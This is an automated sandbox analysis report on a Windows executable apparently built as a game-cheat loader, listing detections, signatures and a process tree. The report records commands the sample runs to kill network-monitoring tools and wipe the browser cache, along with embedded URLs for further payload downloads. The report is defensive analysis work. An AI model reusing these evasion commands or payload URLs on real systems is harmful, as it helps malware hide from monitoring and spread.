Edit tour

Windows Analysis Report
PlusPrivStoreAtt116.exe

Overview

General Information

Sample name:	PlusPrivStoreAtt116.exe
Analysis ID:	1590901
MD5:	d4a125241862eb0a4bd1afcf362d914f
SHA1:	c3c418450fe4cd0768e214a270374f6e1c8e37f3
SHA256:	29c141ee54b805226e0fe7eafe994ec3b461a648861497964acff28d35ba78b8
Tags:	exemalwaretrojanuser-Joker
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Machine Learning detection for sample

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to create an SMB header

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Uses Microsoft's Enhanced Cryptographic Provider

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

PlusPrivStoreAtt116.exe (PID: 3852 cmdline: "C:\Users\user\Desktop\PlusPrivStoreAtt116.exe" MD5: D4A125241862EB0A4BD1AFCF362D914F)

conhost.exe (PID: 1360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1172 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 4348 cmdline: taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 2948 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 2748 cmdline: taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 3316 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 1516 cmdline: taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 2456 cmdline: C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 2156 cmdline: sc stop HTTPDebuggerPro MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 3112 cmdline: C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 6556 cmdline: sc stop HTTPDebuggerProSdk MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 7120 cmdline: C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 1244 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 4476 cmdline: taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 4764 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 2716 cmdline: taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 1980 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 2656 cmdline: taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5972 cmdline: C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 6104 cmdline: sc stop HTTPDebuggerPro MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 5580 cmdline: C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 5748 cmdline: sc stop HTTPDebuggerProSdk MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 6240 cmdline: C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 3304 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 1004 cmdline: taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 1136 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 2632 cmdline: taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 1284 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 1516 cmdline: taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 3980 cmdline: C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 6812 cmdline: sc stop HTTPDebuggerPro MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 2156 cmdline: C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 3276 cmdline: sc stop HTTPDebuggerProSdk MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 5972 cmdline: C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: PlusPrivStoreAtt116.exe	Virustotal: Detection: 41%			Perma Link
Source: PlusPrivStoreAtt116.exe	ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 92.7% probability

Machine Learning detection for sample

Source: PlusPrivStoreAtt116.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029DA84D strtol,strchr,strchr,strncmp,strncmp,strncmp,strncmp,strncmp,strncmp,strncmp,strncmp,strchr,_strdup,CertOpenStore,GetLastError,free,free,CryptStringToBinaryA,CertFindCertificateInStore,fopen,fseek,ftell,fseek,malloc,fread,fclose,malloc,MultiByteToWideChar,PFXImportCertStore,free,free,GetLastError,CertFindCertificateInStore,GetLastError,CertCloseStore,CertCloseStore,calloc,CertFreeCertificateContext,fclose,free,CertFreeCertificateContext,free,calloc,	0_2_00007FF6029DA84D
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029F63E0 CertOpenStore,GetLastError,CertCreateCertificateChainEngine,GetLastError,CertGetCertificateChain,GetLastError,CertGetNameStringA,malloc,CertFindExtension,CryptDecodeObjectEx,CertGetNameStringA,CertFindExtension,CryptDecodeObjectEx,CertFreeCertificateChainEngine,CertCloseStore,CertFreeCertificateChain,CertFreeCertificateContext,	0_2_00007FF6029F63E0
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029FD750 CryptAcquireContextA,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	0_2_00007FF6029FD750
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029FF840 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	0_2_00007FF6029FF840
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029D9C10 memset,CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	0_2_00007FF6029D9C10
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029D9B40 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,	0_2_00007FF6029D9B40
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029F6D00 GetLastError,CreateFileA,GetLastError,GetFileSizeEx,GetLastError,malloc,ReadFile,strstr,strstr,CryptQueryObject,CertAddCertificateContextToStore,CertFreeCertificateContext,GetLastError,GetLastError,GetLastError,CloseHandle,free,	0_2_00007FF6029F6D00
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029DCAD0 CryptAcquireContextA,CryptCreateHash,	0_2_00007FF6029DCAD0
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029DCB20 CryptHashData,	0_2_00007FF6029DCB20
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029DCB30 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	0_2_00007FF6029DCB30

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: -----BEGIN PUBLIC KEY-----		0_2_00007FF6029BF9F0
Source: PlusPrivStoreAtt116.exe	Binary or memory string: -----BEGIN PUBLIC KEY-----

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe

Code function: mov dword ptr [rbp+04h], 424D53FFh

0_2_00007FF6029E9410

Source: unknown

HTTPS traffic detected: 104.26.1.5:443 -> 192.168.2.9:49760 version: TLS 1.2

Source: PlusPrivStoreAtt116.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\BRONKZ BACKUP 16 02 2024\Loaders C# Bronkz Private Store\BACKUP BOTS PRIVATE STORE\Loader Valorant Plus\x64\Release\EpicGames.pdb source: PlusPrivStoreAtt116.exe
Source:	Binary string: .D:\BRONKZ BACKUP 16 02 2024\Loaders C# Bronkz Private Store\BACKUP BOTS PRIVATE STORE\Loader Valorant Plus\x64\Release\EpicGames.pdb source: PlusPrivStoreAtt116.exe

Source: global traffic

HTTP traffic detected: POST /api/1.1/ HTTP/1.1Host: keyauth.winAccept: */*Content-Length: 74Content-Type: application/x-www-form-urlencoded

Source: Joe Sandbox View

IP Address: 104.26.1.5 104.26.1.5

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe

Code function: 0_2_00007FF6029D5370 socket,htonl,setsockopt,bind,getsockname,listen,socket,connect,accept,send,recv,memcmp,closesocket,closesocket,closesocket,closesocket,

0_2_00007FF6029D5370

Source: global traffic

DNS traffic detected: DNS query: keyauth.win

Source: unknown

HTTP traffic detected: POST /api/1.1/ HTTP/1.1Host: keyauth.winAccept: */*Content-Length: 74Content-Type: application/x-www-form-urlencoded

Source: PlusPrivStoreAtt116.exe	String found in binary or memory: http://167.114.85.75/plusattnewhvcionprivate.exe
Source: PlusPrivStoreAtt116.exe	String found in binary or memory: http://167.114.85.75/plusattnewhvcionprivate.exeC:
Source: PlusPrivStoreAtt116.exe	String found in binary or memory: http://167.114.85.75/plushvcioffbronkzatualizadoh79.exe
Source: PlusPrivStoreAtt116.exe	String found in binary or memory: http://167.114.85.75/plushvcioffbronkzatualizadoh79.exeC:
Source: PlusPrivStoreAtt116.exe	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html
Source: PlusPrivStoreAtt116.exe	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html#
Source: PlusPrivStoreAtt116.exe, 00000000.00000003.1395395872.00000259F16B1000.00000004.00000020.00020000.00000000.sdmp, PlusPrivStoreAtt116.exe, 00000000.00000003.1395284234.00000259F16B1000.00000004.00000020.00020000.00000000.sdmp, PlusPrivStoreAtt116.exe, 00000000.00000003.1395395872.00000259F16B5000.00000004.00000020.00020000.00000000.sdmp, PlusPrivStoreAtt116.exe, 00000000.00000002.2630935797.00000259F1689000.00000004.00000020.00020000.00000000.sdmp, PlusPrivStoreAtt116.exe, 00000000.00000002.2630935797.00000259F165C000.00000004.00000020.00020000.00000000.sdmp, PlusPrivStoreAtt116.exe, 00000000.00000002.2630935797.00000259F16B5000.00000004.00000020.00020000.00000000.sdmp, PlusPrivStoreAtt116.exe, 00000000.00000003.1395284234.00000259F16B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://keyauth.cc/panel/bronkzware/Loader
Source: PlusPrivStoreAtt116.exe, 00000000.00000002.2630935797.00000259F165C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://keyauth.win/api/1.1/
Source: PlusPrivStoreAtt116.exe, 00000000.00000002.2630935797.00000259F165C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://keyauth.win/api/1.1/ace
Source: PlusPrivStoreAtt116.exe, 00000000.00000002.2630935797.00000259F165C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://keyauth.win/api/1.1/umem
Source: PlusPrivStoreAtt116.exe, 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmp, PlusPrivStoreAtt116.exe, 00000000.00000002.2630935797.00000259F165C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://keyauth.win/api/1.2/
Source: PlusPrivStoreAtt116.exe, 00000000.00000002.2630935797.00000259F165C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://keyauth.win/api/1.2/:

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443

Source: unknown

HTTPS traffic detected: 104.26.1.5:443 -> 192.168.2.9:49760 version: TLS 1.2

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe

Code function: 0_2_00007FF6029FD750 CryptAcquireContextA,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,

0_2_00007FF6029FD750

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029C7290	0_2_00007FF6029C7290
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029C9290	0_2_00007FF6029C9290
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029DA84D	0_2_00007FF6029DA84D
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029C85D0	0_2_00007FF6029C85D0
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029B1AA0	0_2_00007FF6029B1AA0
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029B1E40	0_2_00007FF6029B1E40
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029CFEA0	0_2_00007FF6029CFEA0
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029F63E0	0_2_00007FF6029F63E0
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029CA150	0_2_00007FF6029CA150
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029D31A0	0_2_00007FF6029D31A0
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029E5300	0_2_00007FF6029E5300
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029AD310	0_2_00007FF6029AD310
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029B92A0	0_2_00007FF6029B92A0
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029FF7D0	0_2_00007FF6029FF7D0
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029B1750	0_2_00007FF6029B1750
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029FD750	0_2_00007FF6029FD750
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029A974B	0_2_00007FF6029A974B
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029DA915	0_2_00007FF6029DA915
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029DA90C	0_2_00007FF6029DA90C
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029D85D0	0_2_00007FF6029D85D0
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029A956D	0_2_00007FF6029A956D
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029AEC30	0_2_00007FF6029AEC30
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029AAC0D	0_2_00007FF6029AAC0D
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029D5CF0	0_2_00007FF6029D5CF0
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029C3C40	0_2_00007FF6029C3C40
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029EDB30	0_2_00007FF6029EDB30
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029A1000	0_2_00007FF6029A1000
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029E9E30	0_2_00007FF6029E9E30
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029DCEE0	0_2_00007FF6029DCEE0
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029F1EC0	0_2_00007FF6029F1EC0
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029C0F10	0_2_00007FF6029C0F10
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029ADEA0	0_2_00007FF6029ADEA0
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: 0_2_00007FF6029F0E90	0_2_00007FF6029F0E90

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: String function: 00007FF6029C6280 appears 380 times
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: String function: 00007FF6029CAD20 appears 34 times
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: String function: 00007FF6029C9790 appears 36 times
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: String function: 00007FF6029B3940 appears 49 times
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: String function: 00007FF6029CABB0 appears 37 times
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: String function: 00007FF6029C96C0 appears 46 times
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: String function: 00007FF6029C0B50 appears 70 times
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: String function: 00007FF6029CAC40 appears 33 times
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: String function: 00007FF6029C6400 appears 326 times
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Code function: String function: 00007FF602A00B6C appears 47 times

Source: classification engine

Classification label: mal56.winEXE@66/18@1/2

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe

Code function: 0_2_00007FF6029B275E FormatMessageA,strchr,_errno,_errno,GetLastError,SetLastError,

0_2_00007FF6029B275E

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1360:120:WilError_03

Source: PlusPrivStoreAtt116.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PlusPrivStoreAtt116.exe	Virustotal: Detection: 41%
Source: PlusPrivStoreAtt116.exe	ReversingLabs: Detection: 65%

Source: PlusPrivStoreAtt116.exe

String found in binary or memory: iphlpapi.dllif_nametoindexkernel32LoadLibraryExA\/AddDllDirectory0123456789abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ(nil)(nil)I32I64%ld.%ld$@

Source: unknown	Process created: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe "C:\Users\user\Desktop\PlusPrivStoreAtt116.exe"
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro
Source: C:\Users\user\Desktop\PlusPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk
